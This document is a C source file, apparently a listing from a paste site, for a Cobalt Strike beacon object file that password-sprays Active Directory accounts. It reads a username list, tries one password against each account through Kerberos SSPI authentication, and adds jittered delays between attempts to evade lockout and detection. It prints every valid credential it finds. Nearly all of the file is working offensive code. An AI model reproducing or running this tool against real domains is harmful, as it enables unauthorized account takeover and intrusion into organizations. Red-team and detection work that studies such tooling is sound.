passwordspray.c 11 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325
  1. #define SECURITY_WIN32
  2. #include <winsock2.h>
  3. #include <ws2tcpip.h>
  4. #include <windows.h>
  5. #include <security.h>
  6. #include <stdio.h>
  7. #include <time.h>
  8. #include <stdlib.h>
  9. #include <dsgetdc.h>
  10. #include <lm.h>
  11. #include "passwordspray.h"
  12. #include "beacon.h"
  13. #pragma comment(lib, "secur32.lib")
  14. #pragma comment(lib, "ws2_32.lib")
  15. #define MAX_TOKEN_SIZE 12000
  16. //START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
  17. #ifndef bufsize
  18. #define bufsize 8192
  19. #endif
  20. char *output = 0;
  21. WORD currentoutsize = 0;
  22. HANDLE trash = NULL;
  23. int bofstart();
  24. void internal_printf(const char* format, ...);
  25. void printoutput(BOOL done);
  26. int bofstart() {
  27. output = (char*)MSVCRT$calloc(bufsize, 1);
  28. currentoutsize = 0;
  29. return 1;
  30. }
  31. void internal_printf(const char* format, ...){
  32. int buffersize = 0;
  33. int transfersize = 0;
  34. char * curloc = NULL;
  35. char* intBuffer = NULL;
  36. va_list args;
  37. va_start(args, format);
  38. buffersize = MSVCRT$vsnprintf(NULL, 0, format, args);
  39. va_end(args);
  40. if (buffersize == -1) return;
  41. char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
  42. intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
  43. va_start(args, format);
  44. MSVCRT$vsnprintf(intBuffer, buffersize, format, args);
  45. va_end(args);
  46. if(buffersize + currentoutsize < bufsize)
  47. {
  48. MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
  49. currentoutsize += buffersize;
  50. } else {
  51. curloc = intBuffer;
  52. while(buffersize > 0)
  53. {
  54. transfersize = bufsize - currentoutsize;
  55. if(buffersize < transfersize)
  56. {
  57. transfersize = buffersize;
  58. }
  59. MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
  60. currentoutsize += transfersize;
  61. if(currentoutsize == bufsize)
  62. {
  63. printoutput(FALSE);
  64. }
  65. MSVCRT$memset(transferBuffer, 0, transfersize);
  66. curloc += transfersize;
  67. buffersize -= transfersize;
  68. }
  69. }
  70. KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
  71. KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
  72. }
  73. void printoutput(BOOL done) {
  74. char * msg = NULL;
  75. BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
  76. currentoutsize = 0;
  77. MSVCRT$memset(output, 0, bufsize);
  78. if(done) {MSVCRT$free(output); output=NULL;}
  79. }
  80. //END TrustedSec BOF print code.
  81. void sleeptimer_with_jitter(int base_seconds, int jitter_percent) {
  82. MSVCRT$srand((unsigned int)MSVCRT$time(NULL));
  83. int jitter_range = (base_seconds * jitter_percent) / 100;
  84. int jitter = (MSVCRT$rand() % (2 * jitter_range + 1)) - jitter_range;
  85. int total_sleep_time = base_seconds + jitter;
  86. if (total_sleep_time < 0) {
  87. total_sleep_time = 0;
  88. }
  89. clock_t end_time = MSVCRT$clock() + total_sleep_time * CLOCKS_PER_SEC;
  90. while (MSVCRT$clock() < end_time) {
  91. // Busy wait
  92. }
  93. }
  94. BOOL authenticate_user(WCHAR* wDomain, WCHAR* wUsername, WCHAR* wPassword) {
  95. LPWSTR wAuthPackage = L"Kerberos";
  96. BOOL authResult = FALSE;
  97. PBYTE clientToServerToken = NULL;
  98. PBYTE serverToClientToken = NULL;
  99. HINSTANCE secur32Handle = NULL;
  100. CredHandle clientCredHandle;
  101. CredHandle serverCredHandle;
  102. // Load the Secur32.dll library
  103. secur32Handle = KERNEL32$LoadLibraryA("Secur32.dll");
  104. if (secur32Handle == NULL) {
  105. return FALSE;
  106. }
  107. // Specify the credentials to verify
  108. SEC_WINNT_AUTH_IDENTITY_EXW authIdentity = {
  109. SEC_WINNT_AUTH_IDENTITY_VERSION,
  110. sizeof(authIdentity),
  111. (unsigned short *)wUsername,
  112. (ULONG)MSVCRT$wcslen(wUsername),
  113. (unsigned short *)wDomain,
  114. (ULONG)MSVCRT$wcslen(wDomain),
  115. (unsigned short *)wPassword,
  116. (ULONG)MSVCRT$wcslen(wPassword),
  117. SEC_WINNT_AUTH_IDENTITY_UNICODE,
  118. 0, 0
  119. };
  120. // Get an SSPI handle for these credentials
  121. TimeStamp clientExpiry;
  122. SECURITY_STATUS secStatus = SECUR32$AcquireCredentialsHandleW(NULL, wAuthPackage, SECPKG_CRED_OUTBOUND, NULL, &authIdentity, NULL, NULL, &clientCredHandle, &clientExpiry);
  123. if (secStatus != SEC_E_OK) {
  124. return FALSE;
  125. }
  126. // Use the caller's credentials for the server
  127. TimeStamp serverExpiry;
  128. secStatus = SECUR32$AcquireCredentialsHandleW(
  129. NULL, wAuthPackage, SECPKG_CRED_INBOUND, NULL, NULL, NULL, NULL, &serverCredHandle, &serverExpiry);
  130. if (secStatus != SEC_E_OK) {
  131. goto CleanUp;
  132. }
  133. CtxtHandle clientContextHandle;
  134. CtxtHandle serverContextHandle;
  135. // Allocate buffers for client-server and server-client tokens
  136. clientToServerToken = (PBYTE)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_TOKEN_SIZE);
  137. if (clientToServerToken == NULL) {
  138. goto CleanUp;
  139. }
  140. serverToClientToken = (PBYTE)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_TOKEN_SIZE);
  141. if (serverToClientToken == NULL) {
  142. goto CleanUp;
  143. }
  144. SecBuffer clientToServerSecBuffer = { MAX_TOKEN_SIZE, SECBUFFER_TOKEN, clientToServerToken };
  145. SecBuffer serverToClientSecBuffer = { MAX_TOKEN_SIZE, SECBUFFER_TOKEN, serverToClientToken };
  146. SecBufferDesc clientToServerBufferDesc = { SECBUFFER_VERSION, 1, &clientToServerSecBuffer };
  147. SecBufferDesc serverToClientBufferDesc = { SECBUFFER_VERSION, 1, &serverToClientSecBuffer };
  148. DWORD clientContextAttributes = ISC_REQ_CONNECTION;
  149. DWORD serverContextAttributes = ISC_REQ_CONNECTION;
  150. PCtxtHandle clientContextHandleIn = NULL;
  151. PCtxtHandle clientContextHandleOut = &clientContextHandle;
  152. PCtxtHandle serverContextHandleIn = NULL;
  153. PCtxtHandle serverContextHandleOut = &serverContextHandle;
  154. SecBufferDesc* clientInputBuffer = NULL;
  155. SecBufferDesc* clientOutputBuffer = &clientToServerBufferDesc;
  156. SecBufferDesc* serverInputBuffer = &clientToServerBufferDesc;
  157. SecBufferDesc* serverOutputBuffer = &serverToClientBufferDesc;
  158. DWORD clientContextAttributesOut = 0;
  159. DWORD serverContextAttributesOut = 0;
  160. TimeStamp clientContextExpiry;
  161. TimeStamp serverContextExpiry;
  162. // Get a server principal name for Kerberos
  163. WCHAR serverPrincipalName[256];
  164. ULONG serverPrincipalNameLength = sizeof(serverPrincipalName) / sizeof(*serverPrincipalName);
  165. secStatus = SECUR32$GetUserNameExW(NameSamCompatible, serverPrincipalName, &serverPrincipalNameLength);
  166. if (secStatus == 0) {
  167. goto CleanUp;
  168. }
  169. // Perform the authentication handshake
  170. BOOL clientContinue = TRUE;
  171. BOOL serverContinue = TRUE;
  172. while (clientContinue || serverContinue) {
  173. if (clientContinue) {
  174. clientToServerSecBuffer.cbBuffer = MAX_TOKEN_SIZE;
  175. secStatus = SECUR32$InitializeSecurityContextW(
  176. &clientCredHandle, clientContextHandleIn, serverPrincipalName,
  177. clientContextAttributes, 0, SECURITY_NATIVE_DREP,
  178. clientInputBuffer, 0, clientContextHandleOut, clientOutputBuffer,
  179. &clientContextAttributesOut, &clientContextExpiry);
  180. switch (secStatus) {
  181. case SEC_E_OK:
  182. clientContinue = FALSE;
  183. break;
  184. case SEC_I_CONTINUE_NEEDED:
  185. clientContextHandleIn = clientContextHandleOut;
  186. clientInputBuffer = serverOutputBuffer;
  187. break;
  188. default:
  189. goto CleanUp;
  190. }
  191. }
  192. if (serverContinue) {
  193. serverToClientSecBuffer.cbBuffer = MAX_TOKEN_SIZE;
  194. secStatus = SECUR32$AcceptSecurityContext(
  195. &serverCredHandle, serverContextHandleIn, serverInputBuffer,
  196. serverContextAttributes, SECURITY_NATIVE_DREP,
  197. serverContextHandleOut, serverOutputBuffer,
  198. &serverContextAttributesOut, &serverContextExpiry);
  199. switch (secStatus) {
  200. case SEC_E_OK:
  201. serverContinue = FALSE;
  202. break;
  203. case SEC_I_CONTINUE_NEEDED:
  204. serverContextHandleIn = serverContextHandleOut;
  205. break;
  206. default:
  207. goto CleanUp;
  208. }
  209. }
  210. }
  211. SECUR32$DeleteSecurityContext(&clientContextHandle);
  212. SECUR32$DeleteSecurityContext(&serverContextHandle);
  213. authResult = TRUE;
  214. CleanUp:
  215. if (clientCredHandle.dwUpper || clientCredHandle.dwLower) {
  216. SECUR32$FreeCredentialsHandle(&clientCredHandle);
  217. }
  218. if (serverCredHandle.dwUpper || serverCredHandle.dwLower) {
  219. SECUR32$FreeCredentialsHandle(&serverCredHandle);
  220. }
  221. if (clientToServerToken) {
  222. KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, clientToServerToken);
  223. }
  224. if (serverToClientToken) {
  225. KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, serverToClientToken);
  226. }
  227. return authResult;
  228. }
  229. int go(char *args, int len) {
  230. WCHAR* wDomain;
  231. WCHAR* wPassword;
  232. WCHAR wUsername[MAX_PATH];
  233. char* username;
  234. char* nextUsername;
  235. int sleepDuration = 0; // in seconds
  236. int jitterPercent = 0; // in percentage
  237. int count = 0;
  238. int iBytesLen = 0;
  239. CHAR* usernameFileBytes;
  240. datap parser;
  241. BeaconDataParse(&parser, args, len);
  242. usernameFileBytes = BeaconDataExtract(&parser, &iBytesLen);
  243. wPassword = BeaconDataExtract(&parser, NULL);
  244. wDomain = BeaconDataExtract(&parser, NULL);
  245. sleepDuration = BeaconDataInt(&parser);
  246. jitterPercent = BeaconDataInt(&parser);
  247. if(!bofstart()) return;
  248. if(iBytesLen != 0) {
  249. // Log the domain controller being used
  250. PDOMAIN_CONTROLLER_INFO dcInfo;
  251. DWORD dcStatus = NETAPI32$DsGetDcNameW(NULL, wDomain, NULL, NULL, 0, &dcInfo);
  252. if (dcStatus == ERROR_SUCCESS) {
  253. internal_printf("[*] Authenticated to Domain Controller: %S\n============================================================\n\n", dcInfo->DomainControllerName);
  254. NETAPI32$NetApiBufferFree(dcInfo);
  255. }
  256. //start password spray
  257. username = MSVCRT$strtok(usernameFileBytes, "\r\n");
  258. while (username != NULL) {
  259. nextUsername = MSVCRT$strtok(NULL, "\r\n");
  260. KERNEL32$MultiByteToWideChar(CP_ACP, 0, username, -1, wUsername, MAX_PATH);
  261. BOOL result = authenticate_user(wDomain, wUsername, wPassword);
  262. if (result) internal_printf("[+] Valid credentials found: %S\\%S:%S\n", wDomain, wUsername, wPassword);
  263. sleeptimer_with_jitter(sleepDuration, jitterPercent);
  264. count++;
  265. if (nextUsername == NULL) {
  266. break;
  267. }
  268. username = nextUsername;
  269. }
  270. printoutput(TRUE);
  271. } else {
  272. BeaconPrintf(CALLBACK_ERROR, "Couldn't load the host file from disk.\n");
  273. }
  274. BeaconPrintf(CALLBACK_OUTPUT, "[+] Finished spraying against %d accounts!\n", count);
  275. return 0;
  276. }